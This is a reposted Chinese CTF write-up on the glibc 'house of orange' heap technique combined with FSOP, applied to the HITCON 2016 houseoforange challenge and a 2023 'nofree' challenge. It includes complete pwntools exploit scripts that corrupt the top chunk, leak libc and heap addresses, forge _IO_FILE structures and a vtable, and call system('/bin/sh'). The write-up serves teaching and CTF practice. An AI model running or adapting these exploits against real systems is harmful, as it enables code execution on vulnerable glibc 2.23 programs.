house of orange & no free

admin 2024年5月17日19:51:03评论10 views字数 6941阅读23分8秒阅读模式

介绍:

house of orange是在程序没有free函数的情况下,通过修改top_chunk的size,在下一次申请超过top_chunk的大小的chunk时,就会把top chunk释放掉,送入unorted bin中,这样一来我们就获得一个在unsorted bin中的堆块,而通常不单单只是利用house of orange手法,还要搭配着FSOP攻击

适用版本:

glibc 2.23 -- 2.26

利用条件:

  • 可以进行 unsortedbin attack

  • 可以触发FSOP

攻击方法:

  • unsortedbin attack

  • 伪造IO结构体

  • 触发FSOP

原理分析:

简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候,原来的 top chunk 会被释放并被置入 unsorted bin 中

当程序调用malloc进行分配,fastbin、smallbins、unsorted bin、largebins等均不满足分配要求时,_int_malloc函数会试图使用 top chunk,当 top chunk 也不能满足分配的要求,因此会执行如下分支:

/*
Otherwise, relay to handle system-dependent cases
*/
else {
void *p = sysmalloc(nb, av);
if (p != NULL && __builtin_expect (perturb_byte, 0))
alloc_perturb (p, bytes);
return p;
}

我们再申请的chunk大小不能大于mmap的分配阈值,以实现利用sysmalloc函数通过 brk 拓展top_chunk

sysmalloc 函数中存在对 top chunk size 的 check:

assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));

top_chunk伪造的要求:

  1. 伪造的 size 必须要对齐到内存页

  2. size 要大于 MINSIZE(0x10)

  3. size 要小于之后申请的 chunk size + MINSIZE(0x10)

  4. size 的 prev inuse 位必须为 1

为什么要对齐到内存页:

现代操作系统都是以内存页为单位进行内存管理的,一般内存页的大小是 4kb(0x1000),那么伪造的 size 就必须要对齐到这个尺寸

house of orange & no free

可以看到原来的4000是对于4kb(0x1000)对齐的

house of orange & no free

我们修改size为0xfc1后,满足了对齐到内存页的条件

house of orange & no free

所以我们一般情况下,对top_chunk的伪造都是直接在原本size的基础上直接砍掉前面的0x20000,只保留后面的低位即可

之后top_chunk会通过执行_int_free进入 unsorted bin 中

例题houseoforange_hitcon_2016:

house of orange & no free

默认都是保护全开

house of orange & no free

add:

house of orange & no free

edit:

house of orange & no free

edit功能没有对修改chunk大小进行限制,存在堆溢出漏洞

house of orange & no free

利用详解:
  • 修改top_chunk的size,将其送入unsorted bin

  • 分割top_chunk,以获取libc地址和heap地址

  • 修改new_top_chunk大小,送入smallbin 的0x60部分

  • 伪造IO结构体(_IO_list_all、IO_2_1_stderr、_IO_file_jumps)

  • exit退出,触发FSOP

house of orange:

修改top_chunk的size,将其送入unsorted bin

add(0x10,'a')

首先申请一个小堆块,可以看到会一次性生成了3个相0x20大小的堆块

house of orange & no free

pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x40,pl)

通过堆溢出修改top_chunk的size

house of orange & no free

add(0x1000,'b')

申请大于0xfa1大小的堆块,将top_chunk送入unsorted bin

house of orange & no free

分割top_chunk,以获取libc地址和heap地址

为了下面说明更加方便,我们将新分割出来的0x400大小的chunk命名为chunk1,被分割后的top_chunk命名为new_top_chunk

add(0x400,'c'*8)

show()
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))
sys = libc_base + libc.sym['system']
io_list_all = libc_base + libc.sym['_IO_list_all']

edit(0x20,'d'*0x10)
show()
heap_base=u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0xc0
print('heap_base = '+hex(heap_base))
FSOP:

伪造_IO_list_all

修改new_top_chunk大小,送入smallbin 的0x60部分

我们最后攻击后,会将main_arena+88/96地址写入_IO_list_all,劫持IO结构体

但是main_arena+88/96处地址是不受我们控制的,也就是说我们无法直接通过在main_arena+88/96处布置来伪造_IO_list_all

而main_arena+88/96地址+0x68处也就是_chain字段,恰好是smallbin的0x60段

这也就是意味着我们可以通过将chunk送入smallbin的0x60段来篡改_chain字段指向的IO_2_1_stdout

pl='f'*0x400

pl+=p64(0)+p64(0x21)
pl+=p64(0)*2

#_IO_list_all
#_IO_2_1_stderr_
pl+='/bin/shx00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x4F0+0xD8)

#_IO_file_jumps
pl+=p64(0)*2+p64(sys)

edit(0x1000,pl)

将分割后产生的chunk1和程序生成的chunk(0x20)填满后,再将new_top_chunk的size修改为0x60,将其送入smallbin的0x60部分

house of orange & no free

#_IO_list_all
pl+='/bin/shx00'+p64(0x61) #&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0) #_chain

这样在攻击后,_IO_FILE_plus结构体的_chain就被篡改为了new_top_chunk的地址

house of orange & no free

也就是原本指向IO_2_1_stdout结构体的地址被我们篡改

house of orange & no free

伪造IO_2_1_stderr

#_IO_2_1_stderr_
pl+='/bin/shx00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x5c8) #vtable

我们通过堆溢出在new_top_chunk地址伪造IO_2_1_stdout结构体

house of orange & no free

主要是将vtable表中原本指向_IO_jump_t结构体的地址篡改为&vtable

house of orange & no free

house of orange & no free

house of orange & no free

#_IO_file_jumps
pl+=p64(0)*2+p64(sys)

house of orange & no free

申请新堆块来触发攻击

p.sendlineafter('Your choice : ',str(1))

完整exp:
#encoding = utf-8
from pwn import *
from pwnlib.rop import *
from pwnlib.context import *
from pwnlib.fmtstr import *
from pwnlib.util.packing import *
from pwnlib.gdb import *
from ctypes import *
import os
import sys
import time
import base64
#from ae64 import AE64
#from LibcSearcher import *

context.os = 'linux'
context.arch = 'amd64'
#context.arch = 'i386'
context.log_level = "debug"

name = './pwn'

debug = 0
if debug:
p = remote('172.52.16.218',9999)
else:
p = process(name)


libcso = '/lib/x86_64-linux-gnu/libc-2.23.so'
#libcso = './libc-2.32.so'
libc = ELF(libcso)
#libc = elf.libc
elf = ELF(name)


s = lambda data :p.send(data)
sa = lambda delim,data :p.sendafter(str(delim), str(data))
sl = lambda data :p.sendline(data)
sla = lambda delim,data :p.sendlineafter(str(delim), str(data))
r = lambda num :p.recv(num)
ru = lambda delims, drop=True :p.recvuntil(delims, drop)
itr = lambda :p.interactive()
uu32 = lambda data,num :u32(p.recvuntil(data)[-num:].ljust(4,b'x00'))
uu64 = lambda data,num :u64(p.recvuntil(data)[-num:].ljust(8,b'x00'))
leak = lambda name,addr :log.success('{} = {:#x}'.format(name, addr))
l64 = lambda :u64(p.recvuntil("x7f")[-6:].ljust(8,b"x00"))
l32 = lambda :u32(p.recvuntil("xf7")[-4:].ljust(4,b"x00"))
context.terminal = ['gnome-terminal','-x','sh','-c']



def dbg():
gdb.attach(proc.pidof(p)[0])
pause()

bss = elf.bss()


def add(size,content):
p.sendlineafter('Your choice : ',str(1))
p.sendlineafter('Length of name :',str(size))
p.sendafter('Name :',content)
p.sendlineafter('Price of Orange:',str(1))
p.sendlineafter('Color of Orange:',str(2))


def edit(size,content):
p.sendlineafter('Your choice : ',str(3))
p.sendlineafter('Length of name :',str(size))
p.sendafter('Name:',content)
p.sendlineafter('Price of Orange:',str(1))
p.sendlineafter('Color of Orange:',str(2))


def delete(index):
p.sendlineafter('4.shown',str(2))
p.sendlineafter('index:n',str(index))

def show():
p.sendlineafter('Your choice : ',str(2))

add(0x10,'a')
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xfa1)
edit(0x40,pl)

add(0x1000,'b')
add(0x400,'c'*8)

show()
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))
sys = libc_base + libc.sym['system']
io_list_all = libc_base + libc.sym['_IO_list_all']

edit(0x20,'d'*0x10)
show()
heap_base=u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0xc0
print('heap_base = '+hex(heap_base))


pl='f'*0x400
pl+=p64(0)+p64(0x21)
pl+=p64(sys)+p64(0)
pl+='/bin/shx00'+p64(0x61) ##&heap_base+0x4F0
pl+=p64(0)+p64(io_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x4F0)
pl+=p64(0)*13
pl+=p64(heap_base+0x5c8)
pl+=p64(0)*2+p64(sys)


edit(0x1000,pl)


#dbg()
p.sendlineafter('Your choice : ',str(1))



itr()

house of orange & no free

2023第七届“楚慧杯”网络空间安全实践能力竞赛 nofree

house of orange & no free

edit:

house of orange & no free

和前一个题利用点一样,也是存在一个堆溢出的漏洞

house of orange & no free

所给的libc版本也是2.23,直接放ubuntu16里打即可

和前一个题一样的攻击思路

exp:
add_idx = 1
edit_idx = 2
show_idx = 3

def choice(cho):
sla('t >> ',cho)

def add(idx,size):
choice(add_idx)
p.sendlineafter('input idx: ',str(idx))
p.sendlineafter('input size: ',str(size))

def edit(idx,size,content):
choice(edit_idx)
p.sendlineafter('input idx: ',str(idx))
p.sendlineafter('input size: ',str(size))
p.sendafter('input content: ',content)

def show(idx):
choice(show_idx)
p.sendlineafter('input idx: ',str(idx))


add(0,0x10)
add(1,0x10)
pl=p64(0)*3+p64(0x21)+p64(0)*3+p64(0xFC1)
edit(0,0x40,pl)
add(2,0x1000)

add(3,0x400)
show(3)
libc_base=l64()-0x3c5188
print('libc_base = '+hex(libc_base))

edit(3,0x20,'a'*0x10)
show(3)
heap_base=u64(p.recvuntil("x55")[-6:].ljust(8,b"x00"))-0x40
print('heap_base = '+hex(heap_base))

IO_list_all=libc_base + libc.sym['_IO_list_all']
sys = libc_base + libc.sym['system']

pl='b'*0x400

pl+='/bin/shx00'+p64(0x61)
pl+=p64(0)+p64(IO_list_all-0x10)
pl+=p64(0)+p64(1)
pl+=p64(0)*7
pl+=p64(heap_base+0x450)
pl+=p64(0)*13
pl+=p64(heap_base+0x450+0xD8)

pl+=p64(0)*2+p64(sys)
edit(3,0x1000,pl)


choice(add_idx)
p.sendlineafter('input idx: ','4')
p.sendlineafter('input size: ','1280')

itr()

house of orange & no free

来源:【https://xz.aliyun.com/】,感谢【舒*满 】

原文始发于微信公众号(衡阳信安):house of orange & no free

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年5月17日19:51:03
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   house of orange & no freehttp://cn-sec.com/archives/2051464.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息